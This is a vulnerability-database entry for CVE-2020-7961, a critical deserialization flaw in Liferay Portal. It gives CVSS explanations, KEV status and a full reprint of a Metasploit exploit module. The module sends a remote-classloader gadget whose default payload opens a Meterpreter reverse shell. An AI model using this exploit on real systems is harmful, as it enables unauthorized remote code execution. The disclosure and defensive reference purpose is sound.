CVE-2020-7961 : Detail

CVE-2020-7961

9.8
/
Critical
A08-Soft and Data Integrity Fail
94.41%V4
Network
2020-03-20
18h16 +00:00
2025-02-04
20h04 +00:00
CVE.org
NVD
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CVE Descriptions

Deserialization of Untrusted Data in Liferay Portal prior to 7.2.1 CE GA2 allows remote attackers to execute arbitrary code via JSON web services (JSONWS).

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-502 Deserialization of Untrusted Data
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Liferay Portal Deserialization of Untrusted Data Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2021-11-02 23h00 +00:00

Action is due : 2022-05-02 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 48332

Publication date : 2020-04-15 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Java::HTTP::ClassLoader include Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super(update_info(info, 'Name' => 'Liferay Portal Java Unmarshalling via JSONWS RCE', 'Description' => %q{ This module exploits a Java unmarshalling vulnerability via JSONWS in Liferay Portal versions < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, and 7.2.1 GA2 to execute code as the Liferay user. Tested against 7.2.0 GA1. }, 'Author' => [ 'Markus Wulftange', # Discovery 'Thomas Etrillard', # PoC 'wvu' # Module ], 'References' => [ ['CVE', '2020-7961'], ['URL', 'https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html'], ['URL', 'https://www.synacktiv.com/posts/pentest/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html'], ['URL', 'https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/117954271'] ], 'DisclosureDate' => '2019-11-25', # Vendor advisory 'License' => MSF_LICENSE, 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Privileged' => false, 'Targets' => [ ['Liferay Portal < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, 7.2.1 GA2', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_tcp'}, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } )) register_options([ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def check # GET / response contains a Liferay-Portal header with version information res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) ) unless res return CheckCode::Unknown('Target did not respond to check request.') end unless res.headers['Liferay-Portal'] return CheckCode::Unknown( 'Target did not respond with Liferay-Portal header.' ) end =begin Building the Liferay-Portal header: https://github.com/liferay/liferay-portal/blob/master/portal-kernel/src/com/liferay/portal/kernel/util/ReleaseInfo.java Liferay-Portal header data: https://github.com/liferay/liferay-portal/blob/master/release.properties Example GET / response: HTTP/1.1 200 [snip] Liferay-Portal: Liferay Community Edition Portal 7.2.0 CE GA1 (Mueller / Build 7200 / June 4, 2019) [snip] =end version, build = res.headers['Liferay-Portal'].scan( /^Liferay.*Portal ([\d.]+.*GA\d+).*Build (\d+)/ ).flatten unless version && (build = Integer(build) rescue nil) return CheckCode::Detected( 'Target did not respond with Liferay version and build.' ) end # XXX: Liferay versions older than 7.2.1 GA2 (build 7201) "may" be unpatched if build < 7201 return CheckCode::Appears( "Liferay #{version} MAY be a vulnerable version. Please verify." ) end CheckCode::Safe("Liferay #{version} is NOT a vulnerable version.") end def exploit # NOTE: Automatic check is implemented by the AutoCheck mixin super # Start our HTTP server to provide remote classloading @classloader_uri = start_service unless @classloader_uri fail_with(Failure::BadConfig, 'Could not start remote classloader server') end print_good("Started remote classloader server at #{@classloader_uri}") # Send our remote classloader gadget to the target, triggering the vuln send_request_gadget( normalize_uri(target_uri.path, '/api/jsonws/expandocolumn/update-column'), # Required POST parameters for /api/jsonws/expandocolumn/update-column: # https://github.com/liferay/liferay-portal/blob/master/portal-impl/src/com/liferay/portlet/expando/service/impl/ExpandoColumnServiceImpl.java 'columnId' => rand(8..42), # Randomize for "evasion" 'name' => rand(8..42), # Randomize for "evasion" 'type' => rand(8..42) # Randomize for "evasion" ) end # Convenience method to send our gadget to a URI with desired POST params def send_request_gadget(uri, vars_post = {}) print_status("Sending remote classloader gadget to #{full_uri(uri)}") vars_post['+defaultData'] = 'com.mchange.v2.c3p0.WrapperConnectionPoolDataSource' vars_post['defaultData.userOverridesAsString'] = "HexAsciiSerializedMap:#{go_go_gadget.unpack1('H*')};" send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'vars_post' => vars_post }, 0) end # Generate all marshalsec payloads for the Jackson marshaller: # java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson -a def go_go_gadget # Implementation of the Jackson marshaller's C3P0WrapperConnPool gadget: # https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/gadgets/C3P0WrapperConnPool.java gadget = Rex::Text.decode_base64( <<~EOF rO0ABXNyAD1jb20ubWNoYW5nZS52Mi5uYW1pbmcuUmVmZXJlbmNlSW5kaXJlY3RvciRSZWZl cmVuY2VTZXJpYWxpemVkYhmF0NEqwhMCAARMAAtjb250ZXh0TmFtZXQAE0xqYXZheC9uYW1p bmcvTmFtZTtMAANlbnZ0ABVMamF2YS91dGlsL0hhc2h0YWJsZTtMAARuYW1lcQB+AAFMAAly ZWZlcmVuY2V0ABhMamF2YXgvbmFtaW5nL1JlZmVyZW5jZTt4cHBwcHNyABZqYXZheC5uYW1p bmcuUmVmZXJlbmNl6MaeoqjpjQkCAARMAAVhZGRyc3QAEkxqYXZhL3V0aWwvVmVjdG9yO0wA DGNsYXNzRmFjdG9yeXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAFGNsYXNzRmFjdG9yeUxvY2F0 aW9ucQB+AAdMAAljbGFzc05hbWVxAH4AB3hwc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuv AQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0 ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAHVyABNbTGphdmEubGFuZy5PYmplY3Q7 kM5YnxBzKWwCAAB4cAAAAApwcHBwcHBwcHBweHQABEhBQ0t0AANUSEV0AAZQTEFORVQ= EOF ) # Replace length-prefixed placeholder strings with our own gadget.sub!("\x00\x04HACK", packed_class_name) gadget.sub!("\x00\x03THE", packed_classloader_uri) gadget.sub("\x00\x06PLANET", packed_class_name) end # Convenience method to pack the classloader URI as a length-prefixed string def packed_classloader_uri "#{[@classloader_uri.length].pack('n')}#{@classloader_uri}" end end

Products Mentioned

Configuraton 0

Liferay>>Liferay_portal >> Version To (excluding) 7.2.1

References

The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.